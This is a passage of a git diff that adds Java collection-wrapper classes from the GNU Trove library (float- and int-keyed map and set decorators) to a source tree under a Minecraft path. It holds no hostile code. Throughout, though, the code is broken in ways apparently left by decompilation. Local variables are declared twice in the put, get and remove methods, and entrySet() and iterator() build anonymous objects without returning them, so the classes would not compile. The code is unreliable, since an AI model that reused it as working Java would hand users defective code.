+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TFloatIntIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Integer> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Integer> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatLongMapDecorator.java
new file mode 100644
index 0000000..1bf3818
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatLongIterator;
+import gnu.trove.map.TFloatLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatLongMapDecorator
+  extends AbstractMap<Float, Long>
+  implements Map<Float, Long>, Externalizable, Cloneable
+{
+  protected TFloatLongMap _map;
+  
+  public TFloatLongMapDecorator() {}
+  
+  public TFloatLongMapDecorator(TFloatLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Float key, Long value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Long>> iterator()
+      {
+        new Iterator() {
+          private final TFloatLongIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Long> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Long> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatObjectMapDecorator.java
new file mode 100644
index 0000000..676d6ea
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatObjectIterator;
+import gnu.trove.map.TFloatObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatObjectMapDecorator<V>
+  extends AbstractMap<Float, V>
+  implements Map<Float, V>, Externalizable, Cloneable
+{
+  protected TFloatObjectMap<V> _map;
+  
+  public TFloatObjectMapDecorator() {}
+  
+  public TFloatObjectMapDecorator(TFloatObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Float key, V value)
+  {
+    float k;
+    
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey((Float)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey((Float)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Float, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, V>> iterator()
+      {
+        new Iterator() {
+          private final TFloatObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Float, V> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(((Float)key).floatValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends V> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Float key)
+  {
+    return key.floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TFloatObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatSetDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatSetDecorator.java
new file mode 100644
index 0000000..b79cd13
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.set.TFloatSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatSetDecorator
+  extends AbstractSet<Float>
+  implements Set<Float>, Externalizable
+{
+  protected TFloatSet _set;
+  
+  public TFloatSetDecorator() {}
+  
+  public TFloatSetDecorator(TFloatSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TFloatSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Float value)
+  {
+    return (value != null) && (_set.add(value.floatValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Float)) {
+          float v = ((Float)val).floatValue();
+          if (!_set.contains(v))
+          {
+
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Float)) && (_set.remove(((Float)value).floatValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Float> iterator()
+  {
+    new Iterator() {
+      private final TFloatIterator it = _set.iterator();
+      
+      public Float next() {
+        return Float.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TFloatSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatShortMapDecorator.java
new file mode 100644
index 0000000..27fb1db
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatShortIterator;
+import gnu.trove.map.TFloatShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatShortMapDecorator
+  extends AbstractMap<Float, Short>
+  implements Map<Float, Short>, Externalizable, Cloneable
+{
+  protected TFloatShortMap _map;
+  
+  public TFloatShortMapDecorator() {}
+  
+  public TFloatShortMapDecorator(TFloatShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Float key, Short value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Short>> iterator()
+      {
+        new Iterator() {
+          private final TFloatShortIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Short> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Short> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TIntByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TIntByteMapDecorator.java
new file mode 100644
index 0000000..e1391c1
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TIntByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TIntByteIterator;
+import gnu.trove.map.TIntByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntByteMapDecorator
+  extends AbstractMap<Integer, Byte>
+  implements Map<Integer, Byte>, Externalizable, Cloneable
+{
+  protected TIntByteMap _map;
+  
+  public TIntByteMapDecorator() {}
+  
+  public TIntByteMapDecorator(TIntByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TIntByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Integer key, Byte value)
+  {
+    int k;
+    
+
+
+    int k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    int k;
+    
+
+
+    if (key != null) { int k;
+      if ((key instanceof Integer)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Integer, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TIntByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Integer, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TIntByteIterator it = _map.iterator();
+          
+          public Map.Entry<Integer, Byte> next() {
+            it.advance();
+            final Integer key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Integer getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Integer, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Integer key = (Integer)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Integer, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TIntByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Integer)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
